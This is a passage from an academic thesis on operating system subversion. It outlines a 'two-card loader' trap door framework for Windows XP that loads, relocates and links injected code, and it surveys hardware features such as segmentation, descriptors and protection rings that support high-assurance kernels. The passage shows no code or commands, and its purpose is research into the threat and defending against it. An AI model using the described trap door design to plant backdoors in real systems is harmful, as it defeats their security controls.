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ABSTRACT 
 
The subversion technique of attacking an operating system is often overlooked in 

information security.  Operating Systems are vulnerable throughout their lifecycle in that 

small artifices can be inserted into an operating system’s code that, on command, can 

completely disable its security mechanisms.  

To illustrate that this threat is viable, it is shown that it is not difficult for an 

attacker to implement the framework for the “two-card loader” type of subversion, a trap 

door which enables the insertion of arbitrary code into the operating system while the 

system is deployed and running.  This framework provides several services such as 

memory allocation in the attacked system, and mechanisms for relocating, linking and 

loading the inserted attack code.   

Additionally, this thesis shows how Windows XP embedded designers can use 

Intel’s x86 hardware more effectively to build a higher assurance operating system.  

Principles of hardware support are discussed and recommendations are presented. 

Subversion is overlooked because critics believe the attack is too difficult to carry 

out.  It is illustrated in this thesis that this is simply not the case. Anyone with access to 

the operating system code at some point in its lifecycle can design a fairly elaborate 

subversion artifice with modest effort.   
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EXECUTIVE SUMMARY 
 
“‘Why do you call me “Lord, Lord,” and do not do what I tell you?  I will show 

you what someone is like who comes to me, hears my words, and acts on them.  That one 
is like a man building a house, who dug deeply and laid the foundation on rock; when a 
flood arose, the river burst against that house but could not shake it, because it had been 
well built.  But the one who hears and does not act is like a man who built a house on the 
ground without a foundation.  When the river burst against it, immediately it fell, and 
great was the ruin of that house.’ ”  

Luke 6: 46-49 
 

In the current era of information security, information technology products that 

can truly claim to be high assurance are hard to find.  The emphasis, for years, has been 

on developing secure applications, which has inevitably taken the focus away from 

building a strong foundation on which the applications can run, namely, the operating 

system.  The result has been the emergence of applications claiming to be very secure and 

excellent cryptography, relying on low assurance operating systems for a context in 

which to run. 

The subversion attack is one that takes advantage of the absence of constructive 

techniques used to create a system that is verifiably secure.  Subversion remains a major 

threat to an operating system’s security, because, when implemented, it allows the 

attacker to carry out attacks against the security functions of the kernel itself.  This 

usually allows security mechanisms to be bypassed, most notably the reference validation 

mechanism, the portion of the kernel that checks access attempts of resources in the 

system, such as memory. 

The problem remains, however, that developers are simply not concerned with 

this kind of attack because they feel it is too hard to carry out.  They argue that the 

motivation for carrying out such an attack does not outweigh the perceived difficulty of 

carrying out such an attack and therefore, verifiable systems are not worth the expense in 

combating this attack. 

The purpose of this thesis is to illustrate that it is in fact not difficult to carry out 

such an attack, and that anyone with access to the operating system’s code at any point 

during the lifecycle of development, can make changes to the code in order to subvert the 
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system.  This thesis shows that even a fairly elaborate design can be implemented without 

difficulty. Ours permits different attacks to be invented on the vulnerable system at 

different times, allowing the attacker maximum flexibility in choosing an attack.  This 

variety of subversion, the “two-card loader”, allows the injection of instructions into the 

system, while the system is deployed and running, in order to defeat the security 

mechanisms the attacker would like to attack at that that particular time.  In order to 

illustrate the threat of subversion, [MUR03], [LAC03] and this thesis has implemented 

the two-card loader. 

There are three parts of the implementation of the two-card loader: the bootstrap 

mechanism, the Linker/Loader or framework functions, and the implanted attack artifice 

itself.  This thesis, in particular, demonstrates that the second part, a framework for this 

kind of subversion, can be constructed, which allows the implanted code to execute in an 

unknown environment successfully.  The dynamic subversion Linker/Loader provides a 

means for memory to be allocated in the attacked system to hold the artifice when loaded, 

it provides a means for relocation to the allocated space in memory, and it allows for 

linking to its own functions.   

This thesis also discusses ways to improve Windows XP’s use of the available 

hardware, specifically, Intel’s 32-bit, x86 architecture.  This is done in order to illustrate, 

first, the security requirements that hardware ought to meet, in order to build a high 

assurance system as per the Common Criteria, and second, the available features the x86 

architecture provides in order to meet these requirements.  Requirements such as address 

space management, descriptor level access granularity, and I/O resource management are 

discussed and their implementations in the x86 architecture such as segmentation, and 

local and global descriptor tables are discussed. 
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I. INTRODUCTION 

A. STATEMENT OF THESIS 

The purpose of this research was to create a general framework for the subversion 

attack, by creating a mechanism which enables arbitrary code, inserted into the attacked 

system, to run with a context, ultimately leading to loss of security functionality of the 

overall system.  This context is established through the use of linking, relocation and 

loading functions which allocate memory, load the code to be inserted into that memory, 

relocate the inserted code to that memory space, and otherwise, set up the subversion 

attack such that its triggers can be activated at any time after loading.   

The subversion attack is often overlooked in the information security field as a 

viable attack, simply because the attack is considered too difficult to carry out.  The 

research detailed here shows that is relatively easy to create a fairly elaborate mechanism 

which provides a framework for the insertion of arbitrary code into a system 

Another purpose of this work is to show requirements for hardware architectures 

so that high assurance systems can be built through effective use of that hardware.  There 

are several requirements for hardware which, if included in a hardware implementation, 

provide a strong foundation for a high assurance operating system.  Further, an example 

implementation of Windows XP using Intel’s x86 architecture is presented such that the 

hardware features that implement these requirements are discussed to show how the 

Windows XP operating system may be made higher assurance using the x86’s available 

hardware security features.   

The first argument made is for building a system with verifiable protection.  

Subversion is an attack that can be prevented only by verifying that the security relevant 

portion of the operating system, the kernel, is constructed with no unspecified 

functionality.  Unless a demonstration proof that the security model of the system is 

properly implemented in the system, and that all code is required for the correct 

implementation of the policy described by the model is constructed, there is no way of 

verifying the security functions of the system will always operate correctly, thus keeping 

the system from entering an insecure state.    It is shown that if an attacker has access to 
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the kernel source code, such as in the case of a malicious developer, it is not difficult to 

implant a trap door in the system, which when activated, could turn off all security 

mechanisms in the kernel.  It should also be noted that access to source code is only one 

way of introducing this vulnerability, but that the artifice could be introduced in different 

ways later in the lifecycle of the system as stated in [MYE80]. The implementation that 

was hypothesized for this thesis was a dynamic subversion artifice, also known as the 

“two-card loader” variety of subversion.  Three theses, this thesis, and those by Murray, 

[MUR03], and Lack [LAC03], have collectively implemented the more elaborate two-

card loader to illustrate that it is feasible and relatively easy to build a more elaborate 

subversion artifice, such that arbitrary code can be inserted at the attacker’s discretion.   

The second argument made is for improving use of hardware in constructing high 

assurance systems.  This is done by showing that, first, hardware must be selected that 

meet several important requirements, such as mechanisms for managing memory, 

keeping track of privilege levels, providing separate domains for execution, etc.  Then, 

implementations of these mechanisms are examined, such as segmentation and 

descriptors for managing memory and privilege levels for helping to divide the system 

into more and less privileged code based on the principle of least privilege.  Finally, the 

x86 architecture from Intel is examined to show that all of the mechanisms have been 

included.  It is then only up to the developers to develop the system to be evaluated at the 

assurance level desired, from this hardware foundation.  Note that hardware support is 

necessary but not sufficient for verifiable protection.  The only distinguishing 

characteristic that separates a system of highest assurance, A1/EAL 7, from other 

assurance levels is verified protection.  These are the levels which provide the greatest 

assurance that the system is subversion-free [SCH01].  Though hardware security 

mechanisms are only part of what is needed to develop a high assurance system, this 

thesis illustrates what portions of hardware are important in building such as system and 

how they are important. 
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B. HARDWARE AND BUILDING HIGH ASSURANCE SYSTEMS 

High assurance systems have a long history in the field of Information Security.  

Having its main roots with the advent of time sharing systems and with the United States 

Air Force during the late 1960’s and early 1970’s, research was conducted to develop 

high assurance systems.  These efforts became the worked examples from which standard 

criteria for building high assurance systems emerged.   

During the past thirty years, several criteria have emerged that specified exactly 

what a system needed to be considered high assurance.  The Trusted Computing Security 

Evaluation Criteria (TCSEC), or Orange Book, emerged in the early 1980’s as the 

principle criteria, followed by the first attempt to develop international criteria, the 

ITSEC.  The most recent and currently the most widely used criteria for building secure 

systems is the Common Criteria, adopted as a standard by the International Standards 

Organization in 1999. 

The Common Criteria (CC), is a set of documents whose intent is to provide, “the 

basis for evaluation of security properties of IT products and systems.”  It is commonly 

used by independent evaluators and developers to assess products and provide some idea 

of how the security mechanisms of a Target of Evaluation (TOE) compare to a standard 

set of criteria.  Thus, purchasers of a system can understand whether or not the level of 

assurance provided by the system is adequate for how they intend to use it.  The 

purchasers must be able to trust the product they are purchasing to protect data according 

to the policy which the system is intended to enforce. [CC99] 

The Common Criteria describe certain security requirements which should be 

followed to build a system with security functions that use hardware effectively to protect 

information in a system.  Within the Common Criteria are certain Classes of criteria and 

Families of Components or attributes that belong to each Class.  These Components 

outline the requirements that should be used as guidelines for building high assurance 

systems.  For our purposes, we will focus on the Components necessary for building a 

system which uses hardware effectively to protect data in systems.   

It is important to note that these security functional requirements are not specific 

to one kind of security policy (i.e. MAC, and DAC, both of which can be used to specify 
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confidentiality or integrity).  It is up to the developer to design and implement the Target 

of Evaluation Security Policy (TSP) and to specify it using a particular Common Criteria 

Class and Family.  Therefore, in the discussion of using hardware effectively, the 

specifics of any particular security policy will not be discussed. 

Because the operating system target for this thesis is Windows XP, it is useful to 

mention that its predecessor, Windows 2000, was evaluated using the Common Criteria, 

at the EAL 4 level.  This means, without exploring all of the details of the evaluation, we 

know that this level of assurance indicates that some of the requirements of a high 

assurance system were met, but not all of them.  The overall purpose of this thesis is to 

explain ways that this evaluation level can be improved upon in the future, by discussing 

ways to use hardware effectively, and by making a case for a high assurance security 

kernel.  It is clear however, that, for the moment, Microsoft Corporation is satisfied with 

EAL4 and that improvements to lead to a higher evaluation level are not a high priority.  

These decisions are reflected in [MIC02] that,  

EAL levels 5-7 are targeted toward the evaluation of products built with 
specialized security engineering techniques. As such, these levels are 
generally less applicable to products built with commercial distribution in 
mind. EAL 4, then, represents the highest level at which products not built 
specifically to meet the requirements of EAL 5-7 ought to be evaluated. 

This author believes that in spite of this assertion, commercial products can reach 

a higher assurance level and if recommendations are followed such as those in this thesis, 

this goal can be achieved.  

 

C. SUBVERSION OF THE TWO-CARD LOADER VARIETY  

As mentioned earlier, the purpose of demonstrating that a subversion artifice can 

be easily introduced into Windows XP, is to show that one common vulnerability exists 

for all operating systems that do not adhere to the processes necessary to implement a 

true reference monitor, namely, the subversion or trapdoor.  This attack is typically 

carried out by a professional attacker, whose intent is to implant code into the system at 

some time during its lifecycle, in order to disable security mechanisms when the system 

is deployed in the future.   
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The two-card loader subversion is a sophisticated version of  a subversion attack, 

is also relatively easy to implement, and,  by design, is able to implant different code into 

the system as the attacker sees fit.  This changeable artifice can, on one day, attack a 

certain cryptographic mechanism in the system, and on the next, turn off all access 

control mechanisms in the kernel.  In this way, the attack can be tailored to meet the 

needs of the attacker, which most certainly will change over the lifespan of the deployed 

system.  The following quotation by Dr. Roger Schell gives an insight into what the two-

card loader subversion attack is and how it originated: 

 During some of my early tiger team participation with Jim Anderson and 
others, it was recognized that a significant aspect of the problem of Trojan 
horse and trap door artifices was the ability of the artifice itself to 
introduce code for execution. A self-contained example was a subverted 
complier in turn emitting an artifice, as hypothesized in the early 1970's 
Multics evaluation by Paul Karger and me [KAR02], which stimulated 
Thompson's discussion of this in his Turing lecture [THO84].  Soon after 
Karger's report, other tiger team members observed that the ultimately 
desired artifice did not have to be self-contained, but could be imported 
later.  It was suggested that a particularly insidious packaging of this could 
have the initial artifice provide the functions of simple bootstrap loader 
typically hardwired in the computers of that era.  These loaders did 
something like read the first two binary cards from the card reader and 
initiate execution of what was read, which was usually a further bootstrap 
program to read and execute additional binary cards. Hence this class of 
attack came to be commonly referred as the “2-card loader problem.”  The 
concept and term became quite commonplace, although I don't know of 
any widely reported actual implementation. Myers during his 1980 
research at NPS was well aware of the 2-card loader problem, and his 
thesis implicitly included this in the trait of a trap door he termed 
“adaptability” which included being “designed to modify operating system 
code online.” [MYE80].  Much later Don Brinkley and I in our 1995 IEEE 
essay had the 2-card loader problem in mind when we briefly described a 
hypothetical attack where, "Among the functions built into the Trojan 
horse was the ability to accept covert software 'upgrades' to its own 
program." [BRI95]. 

The overall Dynamic Artifice Subversion, as it will be referred to in the remainder 

of this thesis is divided into three parts which were divided among three theses.  The first 

part, the Bootstrap loader, which is mentioned above by Dr. Schell, carries out the initial 

functions of the subversion which is to say, it provides a means to introduce any 

executable code into the system at arbitrary times while the system is deployed and 
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running.  The second part, and the focus of this thesis, is the Linker/Loader which carries 

out the functions necessary to set up an environment for the implantable code to execute.  

The third part is the actual attack artifice implanted in the system using the first two parts.        

 

D. THESIS ORGANIZATION 

This thesis is divided into five chapters beyond this one.  In the first of these 

chapters, (Chapter II) the topic of Hardware support is discussed, outlining requirements 

for hardware in implementing a high assurance system.  The next chapter, (Chapter III), 

talks about using the Intel x86 architecture to achieve high assurance objectives.  The 

next chapter (Chapter IV) discusses the design of the Linker/Loader portion of the 

Dynamic Subversion, which is the focus of the research reported in this thesis.  The last 

of these chapters (Chapter V) discusses the implementation details of the Linker/Loader 

portion of the attack.  This is followed by conclusions and suggestions for future work in 

Chapter VI. 
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 II. HARDWARE SUPPORT 

A. INTRODUCTION 

 Given certain requirements for building a high assurance system, we show that 

hardware mechanisms exist, in general, that can be used to support this high assurance 

system (in other words, we do not have to implement these mechanisms solely in 

software).  This chapter is a survey of some of the hardware mechanisms that have been 

introduced as a means of building high assurance systems, these mechanisms being 

derived from the requirements of what constitutes a secure system.   

Beginning in the early 1970’s and continuing to the present day, an approach to 

protecting information in systems has been followed that is founded on the notion that in 

order to provide the desired level of assurance, we need to run applications on a secure 

foundation, namely, secure, verifiable systems.  Hardware can be the foundation of 

secure systems and upon that foundation ought to rest a software-based system whose 

security features can be verified independently to operate correctly based on both formal 

and informal methods.  These methods examine the security requirements, security 

specification, also called the Formal Top Level Specification and its security model to 

accomplish this task.   

 In order to build a system that is verifiable, it is necessary to use a structured 

approach to select hardware with features that can serve as a sound basis for a secure 

system.  Assuming that these features exist and work as intended, it is then up to the 

system designer to effectively use these features to design and build the software that 

makes up the high assurance operating system.  Developers could make the choice, 

however, to needlessly re-implement the security features provided by the hardware 

almost completely in software, or worse yet, not implement security functionality at all.  

These systems do not use the available hardware security features effectively, and are the 

subject of this discussion. 

 Through the years, a number of systems that have been built by researchers and 

engineers that have met the standards for verifiable systems, such as the EAL 7 or Class 

A1 systems that have been evaluated against the Common Criteria, or the Trusted 
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Computer System Evaluation Criteria (TCSEC) respectively.  It should be noted that 

although hardware is essential, these criteria should be consulted for the full set of 

minimum essential security requirements for substantially dealing with subversion.  

These systems use the same commercially available hardware found in many insecure, 

non-verifiable systems.  This shows that, as is pointed out in [SCH01], security research 

and practice have taken a wrong turn, leading us to a dark age in Information Security in 

which secure applications are pursued and then built to run upon an insecure operating 

system foundation.   

 In fact, Intel’s popular x86 hardware, has all of the components necessary to 

support the kind of high assurance system both commercial and government entities can 

rely upon to protect information.  This chapter will explain the hardware features 

necessary to build a high assurance system based on the requirements for high assurance 

systems outlined in the Common Criteria, and in the next chapter, the x86 hardware 

features that meet these requirements will be identified and explained.   

 

B. PRELIMINARY ASSUMPTIONS 

It is important to point out that in discussing a verifiable operating system, several 

assumptions are being made by system developers about the hardware architecture on 

which the operating system is built.  As is mentioned in [SIB95] it is becoming harder to 

trust that the hardware will act in a manner that is conducive to the security functionality 

of a system.  Often, the hardware is trusted without justification and taken as a given or 

“black box,” from which a secure product will be created.  They mention two general 

hardware vulnerability categories that show we ought not to trust the hardware implicitly 

in this manner: 1) implementation errors or “bugs” such as those in the floating point 

processor or the central processing unit. 2) Interactions between correctly functioning 

hardware components that if used incorrectly, introduce storage or timing covert 

channels.   

Undocumented instructions represent another pitfall for secure system developers.  

These instructions were used by the hardware designers, implementers and testers for 

testing the correctness of the hardware, but nevertheless should not be in the final 
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implementation.  This is simply because an undocumented instruction may exist that 

turns off all access rights checking in the system which would render the TCB useless.  

The only hindrances, then, to a potential attacker in such a scenario is the attacker’s 

ignorance of the particular instruction which, if the attacker designed the instruction, 

would not be the case.  

They suggest further that if we are to continue trusting hardware there ought to be 

a basis for this trust such as formal methods for verifying the hardware.  This is necessary 

as the complexity of hardware continues to increase, as is the case of Intel’s x86 

architecture.  There have been efforts to move toward verifiable hardware, including the 

significant efforts in the development of Honeywell’s Secure Communications Processor 

or SCOMP security hardware developed in 1983 [BEN83].  It is important to note that 

the correctness of hardware and correct functional analysis does not guard against 

interactions between features in hardware.  These feature interactions may affect security 

just as much as undocumented instructions, not to mention introducing possible ways to 

create hardware subversion.  As noted in [KAR74], a hardware vulnerability, such as the 

one found in the Multics system, can create a substantial flaw in the system’s security 

checking mechanisms, and may even completely disable them.   

 

C. USING HARDWARE EFFECTIVELY TO IMPLEMENT A HIGH 
ASSURANCE SYSTEM 

In this section we discuss guidelines for using hardware effectively to build a high 

assurance system, drawing upon requirements for high assurance systems from the 

Common Criteria.  Then, from these requirements, we examine traditional ways that 

hardware developers have designed hardware to give operating system developers a 

foundation to meet these requirements.  The requirements must be followed in order to 

build a high assurance security kernel, which may be part of a TCB (Trusted Computing 

Base).  The TCB encompasses security relevant parts of the system and enforces the 

system security policy.  In our discussion, we will give the requirements, show types of 

mechanisms, or characteristics of systems such as having a Reference Monitor, and in the 

remainder of the chapter, discuss the various hardware mechanisms or implementations 

available. 
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1. The Common Criteria’s Reference Monitor Requirements for a High 
Assurance System 

The Common Criteria does not specifically mention the need to have hardware 

mechanisms that serve as the tools for constructing high assurance systems.  It is very 

general in giving requirements for secure systems, because it assumes that security 

features can be implemented in hardware or software.  [AMES83] discusses this as well, 

mentioning that there two extremes, implementing a Reference Monitor completely in 

hardware or software.  The third and more pragmatic approach is some combination of 

the two. 

From the Common Criteria, [CC99], the Families of Domain Separation 

(FPT_SEP), Reference Mediation (FPT_RVM), and Target of Evaluation Security 

Functions Internals (ADV_INT) outline the Components necessary to design a high 

assurance system that mediates all accesses of subjects, i.e. <process, domain> pairs, to 

objects.  The first Family mentioned, FPT_SEP, describes a system in which domain 

separations can be designed to correctly implement a Reference Monitor, which is 

tamper-proof.  The second Family mentioned, FPT_RVM, states the requirement that in 

order for the Reference Monitor to be always invoked, it must be non-bypassable for 

every reference to a resource within the scope of the system.  The third Family 

mentioned, ADV_INT, fulfills the final requirement for a true Reference Monitor, which 

is that complexity must be minimized in order to make the Reference Monitor simple, 

easily understood and testable to make sure it operates correctly.  Though this last Family 

is important to the design of complete Reference Monitor, it will not be discussed any 

further as it does not relate as much to hardware as the Domain Separation Family 

(FPT_SEP) and the Non-bypassable Family (FPT_RVM). [CC99]  In preventing 

subversion, the main goals are to provide a Reference Monitor that cannot be turned off 

(non-bypassability), and provide separate domains of execution to separate the Reference 

Monitor from the rest of memory to make sure it cannot be turned off.   

The highest possible assurance component to implement Domain Separation for 

the Reference Monitor is the Complete Reference Monitor component (FPT_SEP.3).  

There are two other components (FPT_SEP.1 and FPT_SEP.2) that outline requirements 
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that are not of the highest possible assurance, and though they are mentioned here briefly, 

they will not be discussed in detail.  According to the Common Criteria, the Complete 

Reference Monitor component requires the use of separate execution domains for the 

Reference Monitor, non-Reference Monitor functions, as well as a domain for individual 

subjects.  This is structured in this way for a few simple reasons.  In order to ensure that 

the Reference Monitor is tamper-proof, its data structures and code must be protected 

from unauthorized modification by either untrusted subjects, or by non-Reference 

Monitor functions, referred to in the Common Criteria as the non-isolated portion of the 

Target of Evaluation Security Functions (TSF).  Further, in order to enforce high 

assurance security policies, subjects must have separate execution domains from other 

subjects. [CC99] 

With respect to the second Family mentioned above, Reference Mediation 

(FPT_RVM), the sole component requirement is that the Reference Monitor not be by-

passable (FPT_RVM.1), thus ensuring that the system security policy is always invoked.  

With the proper construction of execution domains, we can ensure isolation of the 

Reference Monitor.  The next step according to this component is that each attempt at 

access must be checked as to whether a successful access would violate the security 

policy or not.  Such checking can be done in hardware and/or software.  This allows for 

full control of the Reference Monitor, and if this requirement can be realized, a system is 

closer to becoming a high assurance system.  As it was mentioned previously, this Family 

is necessary to make certain that the Reference Monitor cannot be turned off, which is 

usually the first action of an attacker when a system is being subverted. [CC99]  

 

2. The Common Criteria’s Information Flow Requirements for a High 
Assurance System 

The Common Criteria gives requirements for Information Flow Control 

(FDP_IFF).   This Family is relevant to the discussion of Covert Channels, which for the 

most part should be eliminated as much as possible from the system.  The specific 

Components, Limited Illicit Information Flows (FDP_IFF.3), Partial Elimination of Illicit 

Information Flows (FDP_IFF.4), No Illicit Information Flows (FDP_IFF.5), and Illicit 

Information Flow Monitoring (FDP_IFF.6) give the requirements for limiting covert 
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channels in varying degrees.  These say that in order to build a high assurance system, 

these information flows must be limited or stopped completely.  The last Component, 

FDP_IFF.6, is a bit different because it describes a requirement for monitoring covert 

channels above a certain bandwidth threshold.  [CC99] 

 

3. Hardware Characteristics Needed to Implement a High Assurance 
System 

Now that we have mentioned the requirements for building a high assurance 

system, we can describe the characteristics we are looking for in a hardware platform that 

will help build a high assurance system, and then show how these hardware-implemented 

security features can be used effectively.  They can be used to implement a complete 

Reference Monitor as described by the Common Criteria, as well as limit or eliminate 

completely from the system, hardware-related covert channels.   

In the case of the requirements for implementing a reference monitor, we see that 

the principle means for constructing a complete Reference Monitor, is to have some 

notion of domain within a system.  Then, when we can ensure, by formal proof, that the 

Reference Monitor is always invoked, we know that the system cannot be subverted.  

Though the Common Criteria does not give an explicit definition as to what exactly a 

domain is, we know that a domain is an execution environment that is separated from 

other such domains in a system either by using hardware, software or a combination of 

the two.  Some domains may be of higher privilege than others.  Also, domains typically 

have an assigned address space in memory to hold information that it requires to execute.  

There are many ways of implementing a domain of execution, but we will discuss only a 

few in this chapter.  This will give an idea of how protection is provided from 

unauthorized tampering from other domains, or execution environments, thus preventing 

unauthorized alteration of code or data structures within any particular domain residing in 

the system. 

The following are several characteristics that hardware should have, that system 

programmers need to implement a high assurance system. These characteristics are 

derived from the requirements above, and have several functions.  One such function is to 
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separate portions of the system into distinct execution entities, or domains, one of the 

most important hardware-based mechanisms, which can be used to design a tamperproof 

reference monitor.  Still other characteristics are needed to fulfill the requirements of 

Information Flow and Access Control, mentioned above.  All of these characteristics will 

serve as a discussion basis for how hardware can be used effectively. 

• Some sort of address space management is necessary, usually 

implemented in hardware as memory pages, or segmentation.  Descriptors 

are closely related to this in that they help to determine which memory 

areas belong to which domains.  This requirement helps to establish a 

separate security domain for the Reference Monitor, the remainder of the 

kernel, and untrusted subjects. 

• Access control should be implemented to store the nature of a subject’s 

allowed access to objects in the system.  This is to say that within an 

execution domain, limitations on whether parts must be readable, writable, 

executable, or some combination of thereof, should be specified in the 

system.  Descriptors may be used to handle access rights as well as 

provide address space management.  This gives the Reference Monitor a 

finer granularity when determining the type of access a subject is 

permitted on an object.  

• A means of execution domain separation is necessary.  In hardware this is 

typically implemented as privilege levels, which can assist segmentation 

in dividing the system code and data structures into a hierarchy of 

privilege levels known as protection rings.  Many popular systems such as 

Windows NT based operating systems and Linux use only two modes or 

rings: kernel/supervisor and user.   

• A means for transferring control from a less privileged hardware mode 

into a more privileged mode during execution.  Most hardware 

implementations provide a secure means of changing the privilege level.  

Also, gates are a good means of a low privilege code section accessing 

higher privilege routines and/or data at specified, controllable points. 
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• Covert channels ought to be limited as much as possible in hardware, 

without sacrificing the functionality of the system, by examining where in 

hardware information can be passed in a way that goes against the 

system’s security policy with respect to information flow. 

These characteristics of hardware implementations will be discussed in the 

remainder of the chapter, which is a survey of hardware mechanisms that can be used to 

implement a high assurance system.  In order to properly construct domains that separate 

the context of different entities within a system completely, all of these characteristics are 

needed.  In the next chapter, Intel’s 32 bit, x86 hardware will be looked at in more depth 

to show how its features can be used effectively to build a high assurance system.   

 

D. MANAGING ADDRESS SPACE 

For the hardware characteristics of address space management and establishing 

separate domains of execution that system programmers need to successfully implement 

a Reference Monitor, we introduce several hardware mechanisms that can be used to help 

establish execution domains, separating the Reference Monitor from the rest of the 

system, the supervisor code from the user space, and users from each other.  

Segmentation and descriptors offer one approach to managing address space in high 

assurance systems and will be discussed here. 

 

1. Segmentation 

An important hardware feature that can be used to build a means to separate the 

system into execution domains is Segmentation.  Segmentation corresponds with the 

secure system characteristic that address space should be managed properly, providing a 

memory based context with which various subjects in the system can operate.  

Segmentation was introduced as a means to separate the execution domains of different 

processes so as to provide isolation from other processes and prevent user processes from 

tampering with code and/or data that it should not tamper with, such as the Reference 

Monitor.  In some systems such as MS-DOS, not only were processes not isolated from 

each other, but the kernel’s address space was also not protected from user processes, 
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which, in a networked environment or an environment with many users using the same 

machine, there was little that could be done to protect information within the system.  

The objective in discussing segmentation is to show a hardware implementation of a 

means to control memory space that is managed by the operating system.   

Segmentation, combined with other hardware mechanisms, provides the 

framework of mediating access of subjects to objects.  Subjects are <process, domain> 

pairs that act on behalf of a user within the system.   A subject gains access to objects, 

commonly thought of as physical memory or a device’s memory, through the memory or 

device security manager in order to complete its tasks.  There are different mechanisms 

for managing the relationships between subjects and objects, which will be discussed 

later.   

In [SAL75], it is mentioned that when segmentation is in place, it ought to be part 

of the kernel’s construction to check the boundaries of the requested address space, 

defined by the beginning and ending addresses or base and bound addresses to insure that 

a process is allowed to address only the memory space for which it is authorized.  

Encoded in the kernel is a database of allowed authorizations that is referenced in order 

to check whether or not a particular subject may have access to a particular object, as 

well as the base and limits of the segment to see if the access occurs outside the 

boundaries of the segment.  This ensures policy enforcement through the mediation of the 

access of processes to memory in order to protect information in a system.  A Reference 

Validation Mechanism, RVM, the implementation of the reference monitor, checks all 

attempts by a process to address a particular memory space, and then determine the 

access rights, if any that the process has for that space. [AME83] 

However, segmentation is not enough to properly protect a process’s memory 

space from other processes.  Other mechanisms must be in place as well to properly 

determine what types of access can be made to a segment which will be discussed later in 

the chapter. There also ought to be mechanisms in place to limit the privilege context, 

such as through the use of modes, in which a process may execute so as to avoid 

executing with privileges that are unjustified for the tasks it must complete.  There must 

also be protection for the mechanisms that check the base and bound of a process’s 
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memory fetch instructions.  As mentioned previously, address space management is only 

a part of constructing a complete Reference Validation Mechanism in a system.    

 

2. Descriptor Based Protection 

This leads to a discussion of how the operating system determines which 

processes can have access to which memory segments.  [SAL75] mentions the concept of 

the descriptor, which is defined as an access control mechanism that ‘describes’ a 

segment of memory that may be accessed by a process.  When the process attempts to 

access a memory segment that holds the information it needs to complete its operations, 

the descriptor is loaded into the descriptor register, and this is then checked by hardware 

mechanisms to ensure the process has access rights, to that segment, for the particular 

operation.  The descriptor typically holds the base and bound addresses mentioned before 

and additionally holds the access control specifics such as read, write, and execute.   

In [SAL75] it is further mentioned that two levels of descriptors are needed to 

hold the two different types of information.  One address descriptor should be used to 

hold the base and bound values that limit a process’s memory space and a protection 

level descriptor should be used to define the possible operations on that memory.  They 

further mention that both of the loadable descriptor registers, address and protection, 

should be tamperproof and not accessible by user level processes.  Without this 

guarantee, any user level process could arbitrarily alter the contents of the appropriate 

registers, leading to a state in which the security controls are completely bypassed.   

Logically, it makes sense to have two levels of descriptors to separate privilege 

within the kernel.  It allows the operating system to divide the functions of organizing the 

memory and protecting the memory to achieve this logical separation of duties within the 

memory management system.  First, the kernel on behalf of each user process would have 

protection descriptors to a particular segment of memory, which would determine its 

read, write, and execute permissions.  Then, another addressing descriptor, to which all 

users could potentially gain access, would hold the base and bound values for that 

particular memory segment, e.g., for demand paging.  This would solve concurrency 

issues for the segment, meaning the memory management unit would not have to track 
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numerous processes’ descriptors for a certain segment and attempt to control at the 

privilege descriptor level, because they could simply control one physical addressing 

descriptor globally.  Also, this would simplify the memory management system and 

provide for complete protection because the single addressing descriptor can be revoked 

at any time without having to do a search of all processes that hold descriptors for that 

space in memory.  However, this may introduce a performance penalty because both 

descriptors, protection and addressing, would have to be looked up in the descriptor table, 

and then both types of access, range and access permissions, would have to be checked to 

ensure the attempt is a valid one.  Consequently, many hardware implementations simply 

use one level of descriptors, that have attributes of both address and protection 

descriptors, to expedite table lookups that occur when the operating system fetches a 

memory segment.   

In situations where only one descriptor is used for all processes, a very serious 

problem is introduced.  This is the problem of not being able to distinguish between 

processes having different security attributes.  When separate sets of descriptor are used 

to describe the accesses authorizations of processes operating at different security levels, 

it is possible to distinguish what can be read/written to/executed, and what cannot.  Using 

only one descriptor for all accesses does not provide this separation and should be 

avoided.  

 

E. ESTABLISHING FINE GRAINED ACCESS CONTROL IN HARDWARE 

Although there are varying ways of using hardware based descriptors to manage 

accesses of subjects to objects, further attention must be paid to the finer grained access 

control mechanisms, namely the access modes and their policy enforcer functions in the 

RVM.  This refers to the aforementioned protection descriptor level and the read, write, 

and execute bits that determine the nature of access that each subject has over each 

object, if any.  As it was described in [SCH72], a domain ought to contain information 

that defines the access capabilities of the memory space over which a process has 

jurisdiction.  This includes what read, write and execute permissions are allowed to the 

process when it is required, but is only relevant to a specific segment of memory.  
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Therefore as in [SCH72], the privilege descriptor segment, which holds all of the 

privilege descriptors, is thought of as defining the domain of that process.  From this, we 

understand that hardware mechanisms based on the characteristics previously mentioned 

are needed to divide the privilege levels of certain programs from others, and provide 

separate execution domains for different entities in a system. 

Using Intel’s x86 architecture as an example, we see that that there are several 

access modes that are available for system programmers, which define whether a segment 

is read, write, execute capable, or some combination of the three.  The following is a 

table which shows the fine granularity access controls that can be used to define a 

subject’s relationship to an object. [INTP5] 

 

Table 1.  Intel’s Fine-Grained Access Controls. 

 

F. EXECUTION DOMAIN SEPARATION 

In order to provide a separate execution domain for a system’s implementation of 

the Reference Monitor, to separate its execution from untrusted subjects, we require some 

notion of higher and lower privileged executable sections of code or instructions in a 

system.  One way to implement a hierarchical structure of separate domains is by using 
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available hardware mechanisms such as segmentation, descriptors and privilege level bits 

to create a software implementation of protection rings.  This was the method used by 

Multics designers to implement eight protection rings, as is pointed out in [KAR74].   

 

1. Protection Rings 

The concept of protection rings is useful because it takes all of the protection 

mechanisms that were mentioned before and creates execution domains for entities in a 

system, that require more or less privilege for carrying out different tasks.  These 

executing entities should have access authorizations only for those tasks, which 

implements the principle of least privilege.  Thus with protection rings, a subject can only 

have the privileges it needs to do its job and nothing more. This translates very well into 

the idea that there ought to be several modes: kernel, user and other operating modes to 

keep parts of the security mechanisms isolated from the users of the system.   

As it is described in [SCH72], a protection ring is an attribute, stored in hardware 

in the form of privilege bits, of the domain that is assigned to a subject.  The lower the 

ring assigned to a subject, the greater the subset of potential accesses and the greater the 

privilege of that subject.  If a subject wishes to access a certain segment the security 

mechanism can look at the privilege level of the segment, located in the descriptor 

(usually implemented in hardware), and compare that to the privilege level of the subject.  

Thus, if the former is less than or equal to the latter, it grants the access specified by the 

read, write and execute flags specified as the domain of the initiating process.  In more 

advanced hardware architectures, a segment could be constructed so that certain higher 

privilege levels could potentially write and read to a segment, while a lower privilege 

level could only receive read access, for example.   

Realistically, it is safe to assume that most systems do not require eight or nine 

protection rings implemented in software, using hardware features such as privilege level 

bits and segmentation.  As a minimum, however, according to [AME83], [CAE02], and 

